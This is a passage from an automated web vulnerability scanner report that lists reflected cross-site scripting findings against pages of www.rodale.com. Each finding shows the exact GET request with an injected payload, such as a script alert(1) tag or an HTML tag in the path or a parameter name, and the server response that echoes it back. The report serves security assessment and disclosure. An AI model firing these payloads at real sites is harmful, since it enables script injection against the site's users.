Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:34 GMT
Date: Thu, 10 Mar 2011 17:15:34 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf057f"><a>f190cd529c6 topicf057f">
...[SNIP]...

2.708. http://www.rodale.com/topic/mindfulness-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mindfulness-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ca6"><a>b5763634e64 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mindfulness-019ca6"><a>b5763634e64 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:08 GMT
Date: Thu, 10 Mar 2011 17:16:08 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mindfulness-019ca6"><a>b5763634e64 node node-958">
...[SNIP]...

2.709. http://www.rodale.com/topic/mindfulness-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mindfulness-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64714"><script>alert(1)</script>890b03b7d50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mindfulness-0?64714"><script>alert(1)</script>890b03b7d50=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:32 GMT
Date: Thu, 10 Mar 2011 17:15:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mindfulness-0?64714"><script>alert(1)</script>890b03b7d50=1" title="Register" class="moreLink">
...[SNIP]...

2.710. http://www.rodale.com/topic/mosquitoes [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mosquitoes

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dfa8"><a>c905c2f2d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic9dfa8"><a>c905c2f2d2/mosquitoes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:08 GMT
Date: Thu, 10 Mar 2011 17:16:08 GMT
Content-Length: 22497
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic9dfa8"><a>c905c2f2d2 topic9dfa8">
...[SNIP]...

2.711. http://www.rodale.com/topic/mosquitoes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mosquitoes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload babc6"><a>079b2e6c6df was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mosquitoesbabc6"><a>079b2e6c6df HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:42 GMT
Date: Thu, 10 Mar 2011 17:16:42 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mosquitoesbabc6"><a>079b2e6c6df node node-958">
...[SNIP]...

2.712. http://www.rodale.com/topic/mosquitoes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mosquitoes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56cc0"><script>alert(1)</script>1c90783ecd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mosquitoes?56cc0"><script>alert(1)</script>1c90783ecd9=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:03 GMT
Date: Thu, 10 Mar 2011 17:16:04 GMT
Content-Length: 31723
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mosquitoes?56cc0"><script>alert(1)</script>1c90783ecd9=1" title="Register" class="moreLink">
...[SNIP]...

2.713. http://www.rodale.com/topic/natural-products-expo [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/natural-products-expo

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2e6f"><a>1c5673bb08 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf2e6f"><a>1c5673bb08/natural-products-expo HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:51 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:53 GMT
Date: Thu, 10 Mar 2011 17:15:53 GMT
Content-Length: 22530
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf2e6f"><a>1c5673bb08 topicf2e6f">
...[SNIP]...

2.714. http://www.rodale.com/topic/natural-products-expo [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/natural-products-expo

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed68d"><a>239101df0f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/natural-products-expoed68d"><a>239101df0f1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:35 GMT
Date: Thu, 10 Mar 2011 17:16:35 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-natural-products-expoed68d"><a>239101df0f1 node node-958">
...[SNIP]...

2.715. http://www.rodale.com/topic/natural-products-expo [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/natural-products-expo

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d558d"><script>alert(1)</script>bf402631b58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/natural-products-expo?d558d"><script>alert(1)</script>bf402631b58=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:50 GMT
Date: Thu, 10 Mar 2011 17:15:50 GMT
Content-Length: 31338
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/natural-products-expo?d558d"><script>alert(1)</script>bf402631b58=1" title="Register" class="moreLink">
...[SNIP]...

2.716. http://www.rodale.com/topic/nickel-pincher [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/nickel-pincher

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe7e7"><a>82b79fd22e2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicfe7e7"><a>82b79fd22e2/nickel-pincher HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:06 GMT
Date: Thu, 10 Mar 2011 17:19:06 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicfe7e7"><a>82b79fd22e2 topicfe7e7">
...[SNIP]...

2.717. http://www.rodale.com/topic/nickel-pincher [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/nickel-pincher

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3379"><a>92a72989e04 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/nickel-pincherd3379"><a>92a72989e04 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:47 GMT
Date: Thu, 10 Mar 2011 17:19:47 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-nickel-pincherd3379"><a>92a72989e04 node node-958">
...[SNIP]...

2.718. http://www.rodale.com/topic/nickel-pincher [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/nickel-pincher

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1e13"><script>alert(1)</script>fdc8c9f3b24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/nickel-pincher?a1e13"><script>alert(1)</script>fdc8c9f3b24=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:04 GMT
Date: Thu, 10 Mar 2011 17:19:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/nickel-pincher?a1e13"><script>alert(1)</script>fdc8c9f3b24=1" title="Register" class="moreLink">
...[SNIP]...

2.719. http://www.rodale.com/topic/nutrition [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/nutrition

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 237b4"><a>4bed73332f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic237b4"><a>4bed73332f1/nutrition HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:02 GMT
Date: Thu, 10 Mar 2011 17:16:02 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic237b4"><a>4bed73332f1 topic237b4">
...[SNIP]...

2.720. http://www.rodale.com/topic/nutrition [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/nutrition

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19949"><a>61f4efdf0e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/nutrition19949"><a>61f4efdf0e9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:44 GMT
Date: Thu, 10 Mar 2011 17:16:45 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-nutrition19949"><a>61f4efdf0e9 node node-958">
...[SNIP]...

2.721. http://www.rodale.com/topic/nutrition [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/nutrition

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e474"><script>alert(1)</script>d73943adfcc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/nutrition?6e474"><script>alert(1)</script>d73943adfcc=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:58 GMT
Date: Thu, 10 Mar 2011 17:15:58 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32929

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/nutrition?6e474"><script>alert(1)</script>d73943adfcc=1" title="Register" class="moreLink">
...[SNIP]...

2.722. http://www.rodale.com/topic/obesity [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/obesity

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdb7d"><a>86bc22a9c8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicfdb7d"><a>86bc22a9c8c/obesity HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:26 GMT
Date: Thu, 10 Mar 2011 17:16:27 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicfdb7d"><a>86bc22a9c8c topicfdb7d">
...[SNIP]...

2.723. http://www.rodale.com/topic/obesity [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/obesity

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62f6d"><a>56fa136b16a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/obesity62f6d"><a>56fa136b16a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:01 GMT
Date: Thu, 10 Mar 2011 17:17:01 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-obesity62f6d"><a>56fa136b16a node node-958">
...[SNIP]...

2.724. http://www.rodale.com/topic/obesity [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/obesity

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5edf9"><script>alert(1)</script>6e9cdd6aa62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/obesity?5edf9"><script>alert(1)</script>6e9cdd6aa62=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:22 GMT
Date: Thu, 10 Mar 2011 17:16:22 GMT
Content-Length: 32570
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/obesity?5edf9"><script>alert(1)</script>6e9cdd6aa62=1" title="Register" class="moreLink">
...[SNIP]...

2.725. http://www.rodale.com/topic/omega-3-fatty-acids [REST URL parameter 1] previous next

Summary

